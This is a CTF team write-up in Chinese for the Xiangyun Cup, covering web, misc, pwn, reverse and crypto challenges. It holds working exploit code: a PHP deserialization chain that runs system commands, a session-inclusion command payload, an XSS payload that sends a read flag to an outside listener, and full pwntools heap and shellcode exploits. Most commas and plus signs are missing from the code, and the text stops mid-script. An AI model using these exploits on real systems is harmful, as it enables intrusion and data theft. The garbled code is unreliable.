纤纤素手摘星辰by月下广寒(祥云杯By天璇Merak)
纤纤素手摘星辰by月下广寒(祥云杯By天璇Merak)import requests import requests url = "http://eci-2zedk1cbvvahdw0qqutk.cloudeci1.ichunqiu.com:8888/" s = requests.session() def signup(name): signup_url = url 'signin' data = { 'username': name 'password': name } tmp = s.post(url=signup_url data=data) #print(tmp.text) def change(bucket): change_url = url "user/pr
网上现有的链子github
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){system('cat /flags_c');phpinfo(); };
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
安全检测
考虑session文件包含发现会包含url2直接多加个参数call_user_func执行命令
import requests
from requests import Response
from requests.api import head
url = "http://eci-2zefgf3p1ush1igogvo9.cloudeci1.ichunqiu.com"
s = requests.session()
username = "PD9waHAgcGhwaW5mbygpOz8 "
sessid = 'c899a0d6935a15da7e42e02b9fe0a16c'
headers={"Cookie":F"PHPSESSID={sessid}"}
data= {
"username":username
}
res = s.post(f"{url}/login.php" json=data)
sessid= s.cookies.get_dict()['PHPSESSID']
print(sessid)
payload = f'http://127.0.0.1/admin/include123.php/?u=/tmp/sess_{sessid}&p=<?=call_user_func("s"."y"."s"."t"."e"."m" "/getf"."lag.sh");?>'
p = {
"url1":payload
}
res = s.post(f"{url}/check2.php" data=p)
print(res.text)
res = s.get(f"{url}/preview.php")
print(res.text)
层层穿透
第一层是一个Apache Flink的任意jar包上传漏洞,网上有现成的复现,msf生成一个jar上传执行然后就能getshell
进入后查看/etc/hosts发现有内网环境,而且也给出了内网地址,发现内网还存在一个主机,并且开放8080端口,发现存在shiro框架,结合web.jar发现需要登录,以admin 123456登录后发现/admin/test存在json.parse结合fastjson版本可以构造json数据进行JNDI注入
长度可以添加脏数据绕过,黑名单的话是使用org.apache.shiro.realm.jndi.JndiRealmFactory触发类
题目是考察沙箱逃逸,发现zombie有vm库并且在解析script和url的时候调用
runInContext,将script内容作为第一个参数code
https://www.kitsch.live/2020/11/23/nodejs-vm沙箱逃逸/
可以使用this.constructor.constructor沙箱逃逸,本地构造构造一个html,写好对应的script
import requests
import requests
url = "http://eci-2zedk1cbvvahdw0qqutk.cloudeci1.ichunqiu.com:8888/"
s = requests.session()
def signup(name):
signup_url = url 'signin'
data = {
'username': name
'password': name
}
tmp = s.post(url=signup_url data=data)
#print(tmp.text)
def change(bucket):
change_url = url "user/profile"
burp0_url = change_url
burp0_cookies = {"UM_distinctid": "17b3b13d148148-0b15ca7c6d5376-35607403-1aeaa0-17b3b13d149826"
"CNZZDATA155540": "cnzz_eid=1910689585-1628779580-&ntime=1628784980"
"connect.sid": "s:UbIPQ4BQWGBQ4Ym1FG3Eqh4c7PPKC2I5.NMUmomM4LvCfTVTOKnXRk+zZD4CnUL7vr6QYNYZGsz4"}
burp0_headers = {"Cache-Control": "max-age=0" "Upgrade-Insecure-Requests": "1"
"Origin": "http://192.168.0.11:9999" "Content-Type": "application/x-www-form-urlencoded"
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML like Gecko) Chrome/92.0.4515.159 Safari/537.36"
"Accept": "text/html application/xhtml xml application/xml;q=0.9 image/avif image/webp image/apng */*;q=0.8 application/signed-exchange;v=b3;q=0.9"
"Referer": "http://192.168.0.11:9999/user/profile" "Accept-Encoding": "gzip deflate"
"Accept-Language": "zh-CN zh;q=0.9" "Connection": "close"}
burp0_data = {"affiliation": "ichunqiu" "age": "20"
"bucket": "https://09e8195ebf97db5752c72731c7e75995.oss-cn-beijing.ichunqiu.com/"}
tmp = s.post(burp0_url headers=burp0_headers cookies=burp0_cookies data=burp0_data allow_redirects=False)
print(tmp.status_code)
print(tmp.headers['Location'])
token = tmp.headers['Location'][19:]
burp1_data = {"affiliation": "ichunqiu"
"age": "20"
"bucket": bucket
}
tmp = s.post(burp0_url headers=burp0_headers cookies=burp0_cookies data=burp1_data allow_redirects=False)
ver_url = url 'user/verify?token=' token
tmp = s.get(url=ver_url)
#print(tmp.text)
def vist():
vist_url = url 'user/bucket'
tmp = s.get(vist_url)
print(tmp.text)
signup('crispr1')
chage_website = "http://47.95.219.96/test.html?a=oss-cn-beijing.ichunqiu.com"
change(chage_website)
vist()
访问对应的html然后监听:
进去之后发现存在admin的密码已知,进去之后调用了http-pdf库,该库存在任意文件读取漏洞,而$contents存在xss,而在这里对content进行了过滤,可以使用数组绕过,当其为数组时include()会失败,基于req.socket.remoteAddress无法绕过 因此可以利用xhr进行SSRF,来访问/api/files
可以将/etc/passwd上传到admin用户,checksum任意,然后我们利用/api/files/checksum来读取文件
先试下能不能xss发现存在xss:
那直接xhr访问127.0.0.1即可,注意ts开放在8888端口,这里被坑了很久。。。。
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET' 'http://127.0.0.1:8888/api/files?username=admin&filename=/flag&checksum=be5a14a8e504a66979f6938338b0662c' true);
xhr.setRequestHeader('Content-type' 'application/x-www-form-urlencoded');
xhr.send();
var xhr1 = new XMLHttpRequest();
xhr1.open('GET' 'http://xxxx:3333?res=' xhr.responseText.toString() true);
xhr1.setRequestHeader('Content-type' 'application/x-www-form-urlencoded');
xhr1.send();
</script>
访问下载flag即可
MiscChieftainsSecret通过给出的附件我们可以得到PC0-3
通过板子我们搜到一些文档,可以得到类似如下的公式
arcs=math.asin((SIN_P[i]-SIN_N[i])/2030)
arcc=math.acos((COS_P[i]-COS_N[i])/2030)
然后利用1对arcs 和 arcc来确定我们的象限。
可以得到一些角度。我们可以发现这些角度呈现一种波峰波谷的状态。
我们通过另外的脚本处理可以得到几个波峰的大致角度
200
200
270
225
160
250
180
90
150
150
200
通过计算我们可知大概一格是22.5度。从拨片那里开始计算角度。再加上手指的宽度以及一些误差
得到电话号
flag{77085962457}
题目比较有趣。通过Elcomfost首先可以扫到内存里有一个bitlocker加密密钥。
然后我们通过diskgenius等工具恢复flag.txt得到提示:仿真。
利用仿真制作了一个仿真系统。将几个磁盘读入进去之后,他直接显示了高级账户的密码:xiaoming_handsome
登录之后我们可以发现桌面上的便签写了一个;文档密码xiaoming1314
然后我们可以发现有一个F盘是bitlocker锁住了。通过之前的加密密钥导入可以解锁盘拿到流量包。流量包中包含有一个rar udp流直接提取即可。
密码是xiaoming_handsome里面的flag.docx密码是xiaoming1314。得到flag
给了一个内存。可以从中获取到hint是一个OneClick.exe。可以直接利用vol dump下来。之后我们开始逆向这个东西,发现他是以dot形式写了一个文件进入一个目录。我们利用虚拟机正常执行即可得到。然后我们可以发现他的word里利用010editor和正常word相比多出了一些东西。考虑可能是宏?但是一般宏会有一些特殊的opcode以及定义,考虑单纯是加密的文本,利用xortool一把锁。发现xor密钥是chr(45)得到flag
鸣雏恋题目比较简单,直接利用zip打开发现里面隐藏的文件还有一个key.txt.
当时利用phpstorm打开发现了奇怪的字符。利用零宽度隐写解密得到key。
解密压缩包10w 张图片只有2种考虑转01 ,后续有base解密图片一把梭
import os
import tqdm
import base64
result=''
for i in range(0 129488):
filename="{}.png".format(str(i))
if os.path.getsize(filename)==262:
result ='0'
else:
result ='1'
from Crypto.Util.number import *
result=long_to_bytes(int(result 2))
while(1):
try:
result=base64.b64decode(result)
except:
print(result)
Pwnnote
先多申请几个chunk,格式化字符串改小top chunk 再申请,利用house of orange造出unsorted bin,再申请一个chunk利用最后一字节固定泄露基址。
然后格式化字符串修改malloc_hook为realloc 12,修改realloc_hook为one_gadget,调整栈桢打one_gadget。
from pwn import*
context(os='linux' arch='amd64' log_level='debug')
#r = process('./note')
r = remote('47.104.70.90' 25315)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size con):
r.sendlineafter('choice: ' str(1))
r.sendlineafter('size: ' str(size))
r.sendlineafter('content: ' con)
def say(addr):
r.sendlineafter('choice: ' str(2))
r.sendlineafter('say ? ' addr)
def show():
r.sendlineafter('choice: ' str(3))
for i in range(14):
add(0x100 "aaa")
add(0x40 "aaa")
r.recvuntil('0x')
addr = int(r.recv(12) 16)
print hex(addr)
fake_size = 0x00
fmt = fmtstr_payload(6 {addr 74: fake_size} write_size='short')
print "fmtstr_payload ==> " fmt
say(fmt)
add(0x100 'aaa')
r.sendlineafter('choice: ' str(1))
r.sendlineafter('size: ' str(0x10))
r.sendafter('content: ' '\x78')
show()
r.recvuntil('content:')
libc.address = u64(r.recv(6).ljust(8 '\x00'))-344-0x10-libc.symbols['__malloc_hook']
print hex(libc.address)
sys_addr = libc.symbols['system']
malloc_hook = libc.symbols['__malloc_hook']
realloc_hook = libc.symbols['__realloc_hook']
realloc = libc.symbols['realloc']
rr = malloc_hook-0x8
one = 0x4527a
ogg = libc.address one
tar = realloc_hook 2
tar = ogg
for i in range(6):
off = tar&0xff
fmt = fmtstr_payload(6 {rr i: off} write_size='byte')
say(fmt)
r.sendlineafter('?' '3'*(off-1))
tar = tar>>8
tar = realloc 12
for i in range(6):
off = tar&0xff
fmt = fmtstr_payload(6 {malloc_hook i: off} write_size='byte')
say(fmt)
r.sendlineafter('?' '3'*(off-1))
tar = tar>>8
sleep(0.2)
r.sendline('1')
sleep(0.2)
r.sendline('10')
r.interactive()
#flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5}
JigSaw’sCage
第一次输入数字时存在溢出,输入0xe00000000从而通过if语句的判断并执行mprotect修改heap段为rwx
接下分别输入三段shellcode配合jmp指令执行orw
from pwn import*
context(os='linux' arch='amd64' log_level='debug')
#r = process('./JigSAW')
r = remote('47.104.71.220' 10273)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx):
r.recvuntil('Choice :')
r.sendline(str(1))
r.recvuntil('Index? :')
r.sendline(str(idx))
def edit(idx con):
r.recvuntil('Choice :')
r.sendline(str(2))
r.recvuntil('Index? :')
r.sendline(str(idx))
r.recvuntil('iNput:')
r.send(con)
def delete(idx):
r.recvuntil('Choice :')
r.sendline(str(3))
r.recvuntil('Index? :')
r.sendline(str(idx))
def test(idx):
r.recvuntil('Choice :')
r.sendline(str(4))
r.recvuntil('Index? :')
r.sendline(str(idx))
def shwo(idx):
r.recvuntil('Choice :')
r.sendline(str(5))
r.recvuntil('Index? :')
r.sendline(str(idx))
r.recvuntil('Name')
r.sendline('ayoung')
r.recvuntil('Make your Choice:')
r.sendline(str(0xe00000000))
add(0)
add(1)
add(2)
add(3)
shellcode1 = '''
push 0x67616c66
push rsp
pop rdi
push 0
pop rdx
push 2
pop rax
jmp $ 0x13
'''
print (len(asm(shellcode1)))
edit(0 asm(shellcode1))
shell2 = '''
syscall
push 0
pop rax
push 3
pop rdi
push rbp
pop rsi
push 0x50
pop rdx
jmp $ 0x13
'''
print (len(asm(shell2)))
edit(1 asm(shell2))
shell3 = '''
syscall
push 1
push 1
pop rax
pop rdi
push rbp
pop rsi
push 0x50
pop rdx
syscall
'''
print (len(asm(shell3)))
edit(2 asm(shell3))
#gdb.attach(r)
test(0)
r.interactive()
#flag{58591d4d-068f-47ed-9305-a65762917b06}
PassWordBox_FreeVersion
第一次申请的时候拿到异或加密的值用来控制之后输入的内容
chunk a (unsorted bin)
chunk b used
chunk c used
伪造chunk c的prevsize位为chunk a b,利用off by null溢出chunk c的preinuse位,free chunk c,发生unlink造成chunk overlap,然后泄露基址再用tcache打free_hook即可。过程中需要避开tcache的影响
from pwn import*
context(os='linux' arch='amd64' log_level='debug')
#r = process('./pwdFree')
r = remote('47.104.71.220' 38562)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(id len pwd):
r.sendlineafter('Input Your Choice:' str(1))
r.sendlineafter('Input The ID You Want Save:' id)
r.sendlineafter('Length Of Your Pwd:' str(len))
r.sendlineafter('Your Pwd:' pwd)
def edit(idx con):
r.sendlineafter('Input Your Choice:' str(2))
sleep(0.1)
r.sendline(str(idx))
sleep(0.1)
r.send(con)
def show(idx):
r.sendlineafter('Input Your Choice:' str(3))
r.sendlineafter('Which PwdBox You Want Check:' str(idx))
def delete(idx):
r.sendlineafter('Input Your Choice:' str(4))
r.sendlineafter('Idx you want 2 Delete:' str(idx))
def decode(str key):
tmp = ''
for i in range(len(str)):
tmp = chr((ord(str[i]) ^ ord(key[i%8])))
return tmp
add('AAAA' 0xf0 '\x00')
r.recvuntil('First Add Done.Thx 4 Use. Save ID:')
r.recv(32)
key = r.recv(8)
for i in range(0xe):
add('AAAA' 0xf0 decode('B'*0xf0 key))
for i in range(7):
delete(9-i)
delete(0)
delete(1)
for i in range(7):
add('AAAA' 0xf0 decode('A'*0xf0 key))
add('AAAA' 0xf0 decode('B'*0xf0 key)) #8
add('AAAA' 0xf0 decode('B'*0xf0 key)) #9
for i in range(7):
delete(i)
delete(8)
for i in range(7):
add('AAAA' 0xf0 decode('A'*0xf0 key))
delete(9)
add('AAAA' 0xf8 decode('A'*0xf0 p16(0x200) '\x00'*0x6 key))
for i in range(4):
delete(i)
for i in range(3):
delete(i 5)
delete(4)
for i in range(7):
add('AAAA' 0xf0 decode('a'*0xf0 key))
add('AAAA' 0xf0 decode('a'*0xf0 key))#7
show(8)
r.recvuntil('Pwd is: ')
addr = u64( decode((r.recv(6)) key).ljust(8 '\x00') )
libc.address = addr-96-0x10-libc.symbols['__malloc_hook']
print 'libc_base ===> ' hex(libc.address)
free_hook = libc.symbols['__free_hook']
sys_addr = libc.symbols['system']
add('AAAA' 0xf0 decode('a'*0xf0 key))
add('AAAA' 0xf0 decode('a'*0xf0 key))
delete(12)
delete(11)
delete(8)
edit(9 p64(free_hook))
add('AAAA' 0xf0 decode('/bin/sh\x00' key))
add('AAAA' 0xf0 decode(p64(sys_addr) key))
delete(8)
r.interactive()
#flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}
lemon
在第一个game里,输入 FFFF 即可将flag内容放到栈上
第二个game里的color功能存在堆溢出,eat功能会打印堆地址
color改地址使其指向tcache_perthread_struct并修改来构造unsortedbin,爆破stdout并泄露真实地址,同理用environ泄露栈地址,stdout打印flag。
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
import sys
context(os='linux' arch='amd64')
context.log_level = 'debug'
# p = process("./lemon_pwn")
p = remote("47.104.70.90" 34524)
libc = ELF('./libc-2.26.so')
def chioce(idx):
p.sendlineafter(">>>" str(idx))
def get(idx name size data):
chioce(1)
p.sendlineafter("index of your lemon:" str(idx))
p.sendafter("name your lemon:" name)
p.sendlineafter("of message for you lemon: " str(size))
p.sendafter("Leave your message:" data)
def get_err(idx name size):
chioce(1)
p.sendlineafter("index of your lemon:" str(idx))
p.sendafter("name your lemon:" name)
p.sendlineafter("of message for you lemon: " str(size))
def eat(idx):
chioce(2)
p.sendlineafter("\n" str(idx))
try:
p.recvuntil("eat eat eat ")
ret = int(p.recvline()[:-4])
heap_addr = hex(ret)
log.success("heap_addr : " str(heap_addr))
return ret
except:
sys.stdout.flush()
os.execv(sys.argv[0] sys.argv)
def throw(idx):
chioce(3)
p.recvuntil('\n')
p.sendline(str(idx))
def color(idx data):
chioce(4)
p.sendlineafter("\n" str(idx))
p.sendafter("\n" data)
def init(yes):
if yes:
p.sendlineafter("game with me?" "yes")
p.sendlineafter("your lucky number:" "FFFF")
p.recvuntil("Wow you get a reward now!")
p.sendlineafter("name first:" "mark")
p.recvuntil("your reward is ")
ret = p.recv()[0:5]
log.success("stack_name_addr :" str(hex(int(ret 16))))
return int(ret 16)
else:
p.sendlineafter("game with me?" "no")
def pwn():
flag = init(1)
get(0 "mark" 0x240 "aaaaaaa")
try:
low_addr = str(hex(eat(0)))
low_addr = int(low_addr[-6:-3] 16)
low_addr *= 0x10
except:
sys.stdout.flush()
os.execv(sys.argv[0] sys.argv)
color(0 p64(0)*2 p64(0x100000250) "\x10" p8(low_addr))
throw(0)
get(0 "hacker" 0x240 p64(0x00)*4 p64(0x7000000)) # tcache_perthread_strcut
throw(0)
get(1 "pad1" 0x50 p8(0x00)*5 p8(0x03) p8(0x0)*2) # 3 times to stdout
get(1 p64(0x00) '\xed\x36' 0x30 p64(0x00)) # 0x70 tcache chunk
try:
get(2 "stdout" 0x68 p64(0x0)*6 '\x00'*3 p64(0xfbad1800) p64(0x00)*3 '\x00')
# gdb.attach(p)
except:
sys.stdout.flush()
os.execv(sys.argv[0] sys.argv)
p.recvuntil("\x7f\x00\x00")
addr = u64(p.recvuntil("\x7f").ljust(8 '\x00'))
log.success("_IO_2_1_stdout_ 131 : " str(hex(addr)))
libc_base = addr -131 - libc.sym['_IO_2_1_stdout_']
log.success("libc_base : " str(hex(libc_base)))
# gdb.attach(p)
malloc_hook = libc_base libc.sym['__malloc_hook']
free_hook = libc_base libc.sym['__free_hook']
log.success("malloc_hook : " str(hex(malloc_hook)))
log.success("free_hook : " str(hex(free_hook)))
p.recv()
#throw(1)
p.sendline("3")
p.recvuntil('index of your lemon : ')
p.sendline(str(1))
environ = libc_base 0x03dd058
log.success("environ : " str(hex(environ)))
stdout = libc_base libc.sym['_IO_2_1_stdout_']
log.success("stdout : " str(hex(stdout)))
get(1 p64(0x00) p64(stdout-0x33) 0x30 p64(0x00)) # 0x70 tcache chunk
get(2 "stdout" 0x68 p64(0x0)*6 '\x00'*3 p64(0xfbad1800) p64(0x00)*3 p64(environ) p64(environ 0x10))
stack = u64(p.recvuntil('\x7f')[1:7].ljust(8 '\x00'))
log.success("stack_base : " str(hex(stack)))
flag_addr = stack&0xffffffffff000 flag
log.success("flag_addr : " str(hex(flag_addr )))
#throw(1)
p.sendline("3")
p.recvuntil('index of your lemon : ')
p.sendline(str(1))
get(1 p64(0x00) p64(stdout-0x33) 0x30 p64(0x00)) # 0x70 tcache chunk
get(2 "stdout" 0x68 p64(0x0)*6 '\x00'*3 p64(0xfbad1800) p64(0x00)*3 p64(flag_addr-0x100) p64(flag_addr 0x100))
# gdb.attach(p)
p.interactive()
if __name__ == "__main__":
pwn()
#flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}
PassWordBox_ProVersion
- recover存在UAF,unsortedbin泄露libc
- largebin attack改大mp.tcache_bins,制造tcache
- tcache attack打__free_hook,改system
- 释放binsh块,getshell
#coding:utf-8
from pwn import *
import subprocess sys os
from time import sleep
sa = lambda x y: p.sendafter(x y)
sla = lambda x y: p.sendlineafter(x y)
elf_path = './pwdPro'
ip = '47.104.71.220'
port = 49261
remote_libc_path = './libc.so'
context(os='linux' arch='amd64')
context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path checksec = False)
p = elf.process()
else:
p = remote(ip port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int subprocess.check_output(['one_gadget' '--raw' filename]).split(' '))
def str2int(s info = '' offset = 0):
ret = u64(s.ljust(8 '\x00')) - offset
success('%s ==> 0x%x'%(info ret))
return ret
def chose(idx):
sla('Input Your Choice:\n' str(idx))
def fadd(idx size content = '\0'*8 '\n' ID = '\n'):
chose(1)
sla('Which PwdBox You Want Add:\n' str(idx))
sa('Input The ID You Want Save:' ID)
sla('Length Of Your Pwd:' str(size))
sa('Your Pwd:' content)
def add(idx size content = '\n' ID = '\n'):
chose(1)
sla('Which PwdBox You Want Add:\n' str(idx))
sa('Input The ID You Want Save:' ID)
sla('Length Of Your Pwd:' str(size))
sa('Your Pwd:' key(content))
def edit(idx content):
chose(2)
sla('Which PwdBox You Want Edit:\n' str(idx))
sleep(1)
p.send(content)
def show(idx):
chose(3)
sla('Which PwdBox You Want Check:\n' str(idx))
def free(idx):
chose(4)
sla('Idx you want 2 Delete:\n' str(idx))
def recover(idx):
chose(5)
sla('Idx you want 2 Recover:\n' str(idx))
def key(num):
if num == '\n':
return '\n'
result = ''
for i in [num[x:x 8] for x in range(0 len(num) 8)]:
result = p64(passwd^u64(i))
return result
run(0)
fadd(0 0x628)
p.recvuntil('First Add Done.Thx 4 Use. Save ID:')
passwd = u64(p.recv(8))
add(1 0x420)
add(2 0x618)
add(3 0x420)
add(11 0x420)
add(12 0x420)
add(13 0x420)
free(0)
recover(0)
show(0)
p.recvuntil('Pwd is: ')
libc = ELF(remote_libc_path)
libc.address = str2int(key(p.recv(8)) 'libc' libc.sym['__malloc_hook'] 0x10 96)
add(4 0x638)
free(2)
attack = libc.address 0x1eb280 0x50-0x20
payload = flat(0 attack 0 attack)
edit(0 payload)
add(5 0x638)
free(11)
free(12)
free(13)
recover(13)
edit(13 p64(libc.sym['__free_hook']))
add(13 0x420)
edit(13 '/bin/sh\0')
add(14 0x420)
edit(14 p64(libc.sym['system']))
free(13)
# debug()
p.interactive()
ReDizzy
- main 函数巨大,但是可以改一下 hexray.cfg,让 IDA 反汇编
- 伪代码如下,发现就是以 byte 为单位对输入进行操作,然后与内置的密文进行比较
- 比较部分如下
- 想拿 z3 跑,但是代码量太大了,没跑出来
- 发现都是很简单的 – ^ 运算,其实直接倒推回去进行了
- 把伪代码粘贴出来,把运算部分调整成 python 代码,保存到 code 文件里
- 然后从后往前 exec 即可
python=
def change(code: str):
if “ =” in code: return code.replace(“ =” “-=”)
elif “-=” in code: return code.replace(“-=” “ =”)
elif “^=” in code: return code
plain = [-1]*32
plain[0] = ord(“‘“)
plain[1] = ord(“<”)
plain[2] = -29
plain[3] = -4
plain[4] = 46
plain[5] = 65
plain[6] = 7
plain[7] = 94
plain[8] = 98
plain[9] = -49
plain[10] = -24
plain[11] = -14
plain[12] = -110
plain[13] = 0x80
plain[14] = -30
plain[15] = 54
plain[16] = -76
plain[17] = -78
plain[18] = 103
plain[19] = 119
plain[20] = 15
plain[21] = -10
plain[22] = 13
plain[23] = -74
plain[24] = -19
plain[25] = 28
plain[26] = 101
plain[27] = -118
plain[28] = 7
plain[29] = 83
plain[30] = -90
plain[31] = 102
with open(“code” “r”)as f:
lines = f.readlines()
for l in reversed(lines):
newCode = change(l.strip())
exec(newCode)
flag=’’
for i in range(32):
flag =chr(plain[i] & 0xff)
print(flag)
flag{Try_R3vers1ng_W1th_ScR!pt!}
勒索解密其实就是逆一个调用了大量 wincrypt 加密 api 的程序,没啥难的,就是 windows api 实在是太阴间了
首先看 main 函数,大量的初始化操作,然后调用 enc 函数,然后清零
结合上述这些操作可以猜测出题人应该是用一个结构体去管理加密过程中用到的密钥之类的东西,经过一定的尝试可以设置如下的结构体,让伪代码更直观
然后就是分析 enc 函数了。enc 函数就只传入了一个指向结构体的指针,所以只跟踪引用了这个结构体的函数就行了
这部分初始化了 key1,使用了 4 个 int,其中 3个为定值,1个为时间戳
这两个函数都引用了 结构体,跟进
发现第一个函数是解 base64编码的公钥,把公钥做 key2
第二个函数用 key2 加密了一些数据,调试发现就是 key1
后面这两个函数就是调用 key1 加密文件,然后把 加密后的文件 加密好的 key1 写到加密好的文件里
所以关键问题就是恢复 key1。因为有 key2 这一坨东西,调试并在本地复现发现 key2 是 rsa 加密,n巨大无法分解,遂放弃
后来终于注意到题目加密的是 bmp 文件,bmp 文件当然有固定的格式,而 key1 又只有一个时间戳不确定,所以爆破时间戳就行了
爆破时间戳
void decrypt_test(void){
DWORD32 key[4] = { 0x0EC62FB2 0x4B54D44F 0 0x8EB1E721 };
FILE* f;
int mode;
fopen_s(&f "I:\\flag.bmp.ctf_crypter" "rb");
BYTE* cipher=(BYTE*)malloc(0xd6830);
memset(cipher 0 0xd6830);
fread(cipher sizeof(char) 0xd6830 f);
for (int i = 1629097200; i < 1629553539; i ) {
HCRYPTPROV prov = NULL;
HCRYPTHASH hash;
HCRYPTKEY aesKey;
DWORD length=16;
key[2] = i;
BYTE head[32];
memset(head 0 32);
memcpy(head cipher 16);
if (!CryptAcquireContextA(&prov NULL MS_ENH_RSA_AES_PROV_A PROV_RSA_AES CRYPT_VERIFYCONTEXT)) {
printf("error0\n");
}
CryptCreateHash(prov 0x800Cu 0 0 &hash);
CryptHashData(hash (const BYTE*)key 0x10u 0);
CryptDeriveKey(prov 0x660Eu hash 0 &aesKey);
mode = 1;
CryptSetKeyParam(aesKey 4u (const BYTE*)&mode 0);
CryptSetKeyParam(aesKey 3u (const BYTE*)&mode 0);
CryptDecrypt(aesKey 0 0 0 head &length);
if (head[0] == 'B' && head[1] == 'M') {
cout << i;
break;
}
}
}
- 文件解密
void decrypt(void) {
DWORD32 key[4] = { 0x0EC62FB2 0x4B54D44F 1629098245 0x8EB1E721 };
FILE f;
int mode;
fopen_s(&f “I:\flag.bmp.ctf_crypter” “rb”);
BYTE cipher = (BYTE*)malloc(0xd6830);
int totalLength = 0xd6830;
DWORD blockLen = 16;
memset(cipher 0 totalLength);
fread(cipher sizeof(char) totalLength f);
HCRYPTPROV prov = NULL;
HCRYPTHASH hash;
HCRYPTKEY aesKey;
if (!CryptAcquireContextA(&prov NULL MS_ENH_RSA_AES_PROV_A PROV_RSA_AES CRYPT_VERIFYCONTEXT)) {
printf("error0\n");
}
CryptCreateHash(prov 0x800Cu 0 0 &hash);
CryptHashData(hash (const BYTE)key 0x10u 0);
CryptDeriveKey(prov 0x660Eu hash 0 &aesKey);
mode = 1;
CryptSetKeyParam(aesKey 4u (const BYTE)&mode 0);
CryptSetKeyParam(aesKey 3u (const BYTE*)&mode 0);
for (int i = 0; i < totalLength; i = 16) {
CryptDecrypt(aesKey 0 0 0 cipher i &blockLen);
}
FILE* out;
fopen_s(&out “dec.bmp” “wb”);
fwrite(cipher 1 totalLength out);
printf(“”);
}
该驱动会释放一个dll作为客户端,然后监听进程创建和dll载入的时间,然后维护一个列表,来实现能够与加载了该dll的进程进行通讯,包括各种通讯机制RPC和DeviceIOControl等
然后该dll还会要求一个DllInjector的dll,然后调用里面的GetContentHash来算test哈希,和结果比较,发现是sha3-256,所以要写两个东西,一个是加载哪个dll的主程序,然后就是DLLInjector,得实现sha3-256,直接抄github上的源码就ok
然后就可以动调加载dll的程序,在LoadLibrary InjectDll.dll的时候下断点,在Dll的入口点断下就能调试了,发现主要的逻辑就是对AkariDll这个字符串算哈希,然后用rpc和驱动通讯算出一个值key,然后和flag一起参与加密,加密是用rand驱动的,6种加密,然后我们只需要分别逆一下这6种加密就ok,非常简单,都是异或等等,然后随便找一组数据把key的结果加密出来,和真正flag的数据组合在一起反过来用rand调用解密函数回退就能得到flag了
guess这道题给非预期了(好像),题目里面可以理解为给一个密钥某一位进行加密,并帮助解密一个密文,要求这个密文不能是上面加密的密文。解密后给出一个问题,问上面加密的密钥是奇数位还是偶数位。
首先我们不知道任何密钥,但是根据加密方式
c\equiv g^mw\ mod\ p
exp如下:
# -*- coding: utf-8 -*-
from pwn import *
import re
import random
from math import gcd
# from Crypto.Util.number import inverse
from hashlib import sha256
String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz"
def proof(known hashcode):
for each1 in String:
for each2 in String:
for each3 in String:
for each4 in String:
this = each1 each2 each3 each4 known
if sha256(this.encode()).hexdigest() == hashcode:
# print(each1 each2 each3 each4)
return each1 each2 each3 each4
def exgcd(a b):
if b == 0:
return 1 0 a
else:
x y q = exgcd(b a % b)
x y = y (x - (a // b) * y)
return x y q
def invert(a p):
x y q = exgcd(a p)
if q != 1:
raise Exception("No solution.")
else:
return (x p) % p
def enc(n g m):
while 1:
r = random.randint(2 n - 1)
if gcd(r n) == 1:
break
c = (pow(g m n ** 2) * pow(r n n ** 2)) % (n ** 2)
return c
def dec(n g LAMBDA c):
L1 = (pow(c LAMBDA n ** 2) - 1) // n
L2 = (pow(g LAMBDA n ** 2) - 1) // n
m = (invert(L2 n) * L1) % n
return m
host port = "47.104.85.225" 57811
keys = {521 526 530 542 548 550 558 566 577 585 611 613 614 113 114 119 121 123 637 638 639 128 129 130 641 646 647 653 142 148 158 685 184 186 201 718 727 216 232 745 746 237 751 241 244 780 783 271 281 286 288 810 299 307 309 313 333 860 349 355 877 885 888 899 903 396 400 918 416 936 939 427 942 430 944 461 977 983 995 498}
index = {530: b'0' 521: b'0' 585: b'0' 899: b'0' 281: b'1' 355: b'0' 128: b'1' 416: b'0' 498: b'0' 944: b'1' 977: b'1' 396: b'1' 550: b'0' 877: b'1' 918: b'1' 333: b'1' 244: b'1' 647: b'1' 611: b'0' 461: b'1' 637: b'0' 614: b'0' 216: b'1' 639: b'0' 727: b'1' 119: b'0' 983: b'0' 237: b'1' 148: b'0' 810: b'1' 130: b'0' 685: b'0' 885: b'0' 114: b'0' 427: b'0' 201: b'1' 860: b'1' 888: b'1' 783: b'0' 646: b'1' 299: b'0' 288: b'0' 653: b'1' 129: b'1' 313: b'0' 558: b'0' 309: b'1' 142: b'0' 745: b'1' 613: b'1' 936: b'1' 548: b'1' 903: b'0' 718: b'0' 158: b'1' 542: b'1' 566: b'0' 400: b'1' 186: b'1' 780: b'1' 577: b'0' 638: b'0' 430: b'1' 641: b'1' 751: b'0' 286: b'1' 995: b'0' 113: b'1' 939: b'0' 746: b'0'}
context.log_level = 'debug'
while True:
try:
sh = remote(host port)
data = sh.recvrepeat(1).decode()
